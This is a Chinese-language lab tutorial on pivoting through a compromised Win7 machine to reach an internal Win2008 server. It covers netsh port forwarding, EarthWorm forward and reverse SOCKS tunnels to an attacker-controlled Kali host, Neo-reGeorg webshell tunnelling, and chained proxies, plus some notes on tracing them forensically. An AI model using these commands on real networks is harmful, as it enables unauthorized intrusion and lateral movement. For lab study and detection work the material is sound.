实验环境:
Win7:192.168.152.136
Win2008:192.168.152.135
物理机:199.200.233.176
在win2008阻止物理机的访问,即win2008只可以win7访问
物理机可以访问win7不能访问win2008:
情景1
假设win已经拿到最高权限了,现在通过win7为跳板去访问内网的win2008
1. netsh
端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。
系统原生了一些命令,可以用来做端口转发,一次只能指定一个端口进行转发,所以效率稍微低一些,但是不用考虑杀软拦截等问题
将192.168.152.136(win7)的7777端口流量转发到192.168.152.135(win2008)的3389端口:
使用netsh需要开启ip helper服务
win7执行命令:
netsh interface portproxy add v4tov4 listenaddress=192.168.152.136 listenport=7777 connectaddress=192.168.152.135 connectport=3389
用物理机远程桌面访问win的7777端口,即访问到了win2008的3389端口
1.1 分析
Win2008日志分析是从win7远程登录过来的
当物理机去连接win7的7777端口时情况如下,物理机(192.168.152.1是VM的网口地址)的一个随机端口与win7(192.168.152.136)的7777端口建立连接,然后win生成一个随机端口将流量转发给win2008(192.168.152.135)的3389端口
当我物理机断开连接时,win7只监听自己的7777端口,与win2008无连接
使用: netsh interface portproxy show v4tov4 可以查看端口转发情况
删除所有端口转发:netsh interface portproxy reset
2.EW
使用ew:访问win7的7777端口等于访问winserver的3389:
ew_for_win_32.exe -s lcx_tran -l 7777 -f 192.168.152.135 -g 3389
物理连接win7的7777端口相对于访问win2008的3389
连接时流量和netsh的是差不多的,只不过这里监听的0.0.0.0的7777端口
物理机端口远程桌面时,win7只监听0.0.0.0的7777端口,和win2008无交互
假如需要溯源的话可以根据pid定位到进程
根据进程名查看其物理路径和执行的命令
注:如果关掉了EW是查看不到命令的,也看不到它监听7777端口,除非是有流量审计设备。我们可以全盘扫描看是否有异常文件,如果免杀ew的话只能通过查看附近时间点是否有可疑文件
1.1 使用ew,还建立正向代理
ew_for_win_32.exe -s ssocksd -l 1080
sockscap连接(浏览器自带sock5连接配置也行)
物理机选择一个浏览器,也可以在本地加载其它程序,比如端口扫描等等程序
物理机可直接访问win2008 web服务
情景二
Socks反向代理,kali(192.168.152.133)充当外网的vps
Kali:
./ew_for_linux64 -s rcsocks -l 1088 -e 1025
Win7:
ew_for_win_32.exe -s rssocks -d 192.168.152.133 -e 1025
物理机:连接kali的1088端口
访问win2008
情景三
win7已经拿下,如果win7只向公网映射一个端口,比如80,则可以利用http或https代理
使用regeorg,github上可以下载
下载后生成通道shell
python neoreg.py generate -k password
上传一个shell到服务器
物理机执行:
python neoreg.py -k password -u http://192.168.152.136/tunnel.php -p 7777
情景四
win7、winserver都已getshell,winserver有两个网卡,其中一个能访问win7II
在winserver开启正向socks服务器,端口9999;在win7利用端口映射,把1080端口收到的端口转发给socks9999 ,hack访问win7 1080端口相当于访问winserver的9999
winserver建立正向代理,端口9999
win7(5.131),监听本机1080端口流量,转发给 winserver(5.130)的9999端口
物理机,设置代理
直接访问win||
注(以上环境皆是自己在本机搭建,请勿在公网真实操作)